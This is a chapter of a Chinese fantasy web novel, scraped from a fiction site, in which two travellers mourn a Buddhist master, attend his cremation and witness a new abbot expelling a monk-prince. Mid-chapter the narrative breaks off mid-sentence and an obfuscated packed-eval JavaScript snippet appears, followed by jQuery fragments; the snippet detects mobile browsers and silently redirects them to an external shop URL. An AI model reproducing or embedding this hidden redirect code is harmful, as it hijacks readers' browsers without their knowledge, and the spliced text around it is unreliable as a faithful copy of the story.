文趣网 > 都市小说 > 潜虫勿用 > 17. 大师圆寂
    现在天色尚早,不过堪堪正午,元栎摇头拒绝了,他懒懒散散地说:“不必了。”

    佘醉夜嘴上的笑容有些挂不住了,元榛榛连忙找补道:“佘大人,并非我们不愿意与您结交,只是我们有要事在身,急着赶路,只好辜负您的一片好意了。”

    话已说到这个份上了,佘醉夜也不好强求了,她依旧笑着,躬身行了一礼,说道:“既然两位有事,若是强求倒是我的不是了。”

    “让路!”

    围聚在一旁的蛇妖们虽然愤愤不平,但还是往两边游去,将道路让了出来。

    元榛榛回礼道:“多谢佘大人,等此间事了,我们定当回访。”

    “那我便扫榻以待了。”

    *

    出了重重深山,又路经梵山,也不知道百稚邪珠是否被净化,元榛榛与元栎商议了一番,决定再度前往梵山寺,了解一下后续的情况。

    在梵山脚下抬头看去,隐隐约约见得寺庙的屋檐上,有白色的帷幔在随风飘拂着,与缭绕的香雾缠绕。

    乌泱泱的人群聚集在寺庙门口,一直蔓延到上山的台阶上。

    元榛榛心中有些许不安,望着身旁的元栎,说道:“梵山寺不会出事了吧?”

    “应该没有什么大事,此处气息纯净,和几日前没有什么差别。”元栎正色道,“我们还是先上山看看罢。”

    行路之人,一部分神色哀伤,或是手持白菊或是扛着白色的挽联,一部分神色迷惑,手里还拿着祭拜的高香或贡品。

    一路蜿蜒往上,还未见到寺庙,便听到呜呜咽咽的哭声断断续续地传入耳中。

    寺庙门前跪着一批批悲伤的香客,抬眼望去,人族和妖族几乎对半,他们低垂着头,神色哀痛,自发地于此处哀悼。

    各色各样的花圈和挽联绕着寺庙排列,沿墙还放着一丛丛白菊。

    莲渡大师的名号赫然写于这些花圈祭品的中央。

    元榛榛不由倒退两步,若不是元栎眼疾手快扶住了她的腰,她就要一脚踩空了。

    她双眼噙泪,内疚地说:“是不是我害了莲渡大师,他明明伤重未愈,我还将那邪珠交予他,让他净化。”

    元栎叹了口气,轻轻拂去她的眼泪,说道:“这也不是你的错,大师也不一定是因为净化邪珠圆寂的。就算退一万步说,就算大师真的是因为超度此间亡魂圆寂,邪珠不是你制造的,而净化也是大师自己做的选择……”

    *

    两人挤过人群,来到了寺庙门口。

    两个小沙弥伸出手拦住了他们:“两位施主止步,今日庙中不接待香客,见谅。”

    元榛榛双手合十,问道:“不知空情师父可有空闲,有一要事相问。”

    “空情师叔乃莲渡大师的关门弟子,自是需要为其抬龛,施主还是等过些时日再来吧。”

    死生大事,纵是元栎,也未展现出不满的神色,元榛榛叹了口气,说道:“既然如此,那我们改日再来。不知我们可否为莲渡大师敬三炷香?”

    小沙弥指着庙前的香坛,分别递给他们三柱香,说道:“有心便行。”

    香坛前挤满了各色香客,他们虔诚地供奉着香火,嘴里念念有词。

    元榛榛举着香,挤在人群中。

    “莲渡大师,一路走好。”

    “莲渡大师,在天上请保佑我升官发财。”

    “保佑我遇到如意郎君。”

    “希望我能成为一代大妖。”

    ……

    形形色色的心愿四面八法地传入元榛榛的耳里,她无奈地摇头,这哪里是寄托哀思,分明是在许愿。

    感念悲伤是有的,但更多的是杂乱纷繁的欲望,倒是让这清净之地成为难填的欲壑。

    前面的人将香插在厚厚的香灰之中,便往后疏散,元榛榛往前一步。

    她愧疚又哀伤地鞠了三躬,找了个空位,将三柱香小心地插进香炉中。

    一阵风吹过,燃着的香一抖,带着火星的香灰落了一粒在元榛榛的手背上,烫得她下意识地往后缩了下手。

    香灰在她的手背上留下了一小块月牙般的灰色痕迹,她搓了一会儿没有搓掉,便干脆随它去了。

    元榛榛转身去寻元栎,只见他站在人群外,正与一名身量高挑、气势尊贵的男子交谈。

    男子身后还站着四名修者,能从他们身上隐隐看出磅礴的灵气,他们神色警惕地观察着来往的人群。

    元榛榛走到元栎身旁,才发现是荣泰,遂问好:“陛下,没想到又见面了。”

    “元姑娘安好。”

    元栎侧头跟她解释道:“荣泰也是来祭奠莲渡大师的。”

    “是的,元栎跟我说了,你们也想进庙中是吧?随我来就好。”

    荣泰大踏步往庙里走去,元栎和元榛榛跟在他的护卫旁边,走在他的身后。

    守在大门两侧的小沙弥同样拦住了荣泰。

    荣泰微仰着头,从腰间取出一块玉牌,出示给小沙弥看:“朕来吊唁莲渡大师,请二位通传现任主持。”

    两个小沙弥顿时就要下跪参拜,被荣泰制止了:“佛门净地,就不必讲皇权君臣之道了。”

    小沙弥便直起身来,合掌微微鞠躬。

    两位小沙弥对视了一眼,其中一位看起来更为机灵的小和尚说道:“陛下,由小僧为您领路吧?”

    踏进大门,庙内如往常一样,并不像庙外一般陈设着许多白事祭奠品。

    只有天边一道昏黄的落日,照得庙宇寂寥。

    他们在梵山寺招待贵客的静室坐了片刻,便见一位面容疲惫但神采奕奕的僧人走了过来。

    他穿着金光闪闪的袈裟,带进了最后一点余晖,正是新任的住持。

    他双手合十,说道:“陛下,莲渡大师已然圆寂,封龛也已完成,明日午时就会将灵龛荼毗。贫僧已让人去唤空情了,就让他带您送莲渡大师最后一程。”

    空情穿着灰扑扑的麻布僧衣,臂上戴着白色麻布,敲响了静室的门,静候于门边。

    “空情来了,贫僧便先告退了。”住持恭敬地看着荣泰,等待着他发话。

    "嗯,大师自去忙便是。"

    住持退下后,空情走进了静室内,默默行了一僧礼,神色平静地站在一旁。

    兄弟俩,一人着锦衣华服享有这人界最高的权势,一人着麻布僧衣身无长物唯有一身罪孽随身。

    满屋寂静,荣泰静静地看着自己的弟弟,而空情则低头垂眸静静候立在一旁。

    许久,才听得荣泰长叹了口气,说道:“荣谦,回来吧。”

    “既入此道,我便不会再回头了,荣谦已是前尘往事,施主还是唤我空情罢。”

    “罢了,元栎找你有要事询问。”荣泰看着坐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652932|206625||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在一旁的元栎,问询道,“我是否需要回避?”

    “无碍,也不是什么机密之事。”

    空情沉吟了一会儿,从怀中取出一个锦囊,递给了元栎:“施主,可是想问百稚魂珠的事情?师父在圆寂前,已经将其中所困灵魂度化了,想来他们现在已往生,两位可以安心了。”

    元榛榛从元栎手中接过锦囊打开,从里面取出一盏白莲,莲瓣重重有百朵,在静室中发出纯净的微光。

    “这是?”

    “这便是净化后的百稚魂珠。”

    就连元栎都有些惊诧,缭绕在邪珠上的怨气已然全部消散,只有稀薄的灵气在莲瓣中浅浅萦绕。

    他不由叹道:“如此厉害的净化超度之术,恐怕世上再难寻了。”

    *

    次日晨,整个天空都是阴沉沉的,黑云压城,欲雨未雨。

    黑色的云雾烟尘在空中盘旋,似乎能隐隐听见尖利的嘶鸣之声,也不知是雨前的疾风,还是未被超度的孤魂野鬼的哀嚎。

    午时,元榛榛一行人已来到梵山寺后山的化身窟前静候着。

    住持在洞窟前念着元榛榛听不懂的梵文,空情和几位同为莲渡大师门下的弟子抬着灵龛,将其送入化身窟中安置。

    刚一放好灵龛,窟中的火腾的一下就燃起来了。

    整个灵龛都处在烈火之中,在蓝焰下逐渐熔化。

    肉身逐渐成灰,漆黑的枯骨在将灭未灭的火中影影绰绰。

    等一切都烧尽之后,火焰渐灭,一道灼眼的金光从枯骨残灰中亮起,穿透了洞窟,直通云霄,驱散了萦绕在梵山寺中的阴霾。

    天空放晴了。

    等洞窟冷却,一枚金色的舍利子安然地出现在一片灰烬中。

    住持激动地接过一旁僧侣递来的金玉匣子,小心地将舍利子置于其中,说道:“莲渡大师的舍利子,想来足以庇护梵山寺了。”

    *

    了却百稚魂珠的事项,又送了莲渡大师最后一程,元榛榛和元栎随着荣泰辞别住持。

    “陛下,请留步。”住持微笑着说道,“荣谦殿下红尘俗务未清,还请携他归去。”

    恭敬地站在一旁的空情微怔,不解地抬起头来。

    荣泰虽然也想荣谦还俗,但不应是这种方式,他皱眉问道:“住持,此为何意?空情是由莲渡大师举行的皈依仪式,莫非你是想说莲渡大师看走眼了?”

    “毕竟莲渡大师在收了荣谦殿下后没多久就圆寂了,想来之前已有些神志不清了,殿下处繁华之地,居祈王尊位,又身欠情债,怎么看也谈不上六根清净之人……”

    空情了悟,道:“师叔德高望重,自然当居住持之位,小僧便将住持之位让于您。如今师叔既然要驱我出寺,那我也没有强留的必要了。只是莲渡大师传于我的金钵我是要带走的。”

    住持似是没想到空情如此直白,愣了一会儿,才说道:“荣谦殿下是说哪里话,你尘缘未尽,贫僧也是为你好。”

    元榛榛有些迷茫,但是在名利场摸爬滚打那么久的荣泰瞬间厘清了此间关系,他神色不显,只淡淡对空情说:“住持已经这般说了,你还不随朕回宫,大不了朕在皇城给你修座皇家寺庙,供你清修。”

    空情沉吟了一会儿,摇头说道:“本来我也打算游历世间,去偿还身上背负的罪孽,或许只有走出去,才能渡天下苦厄。”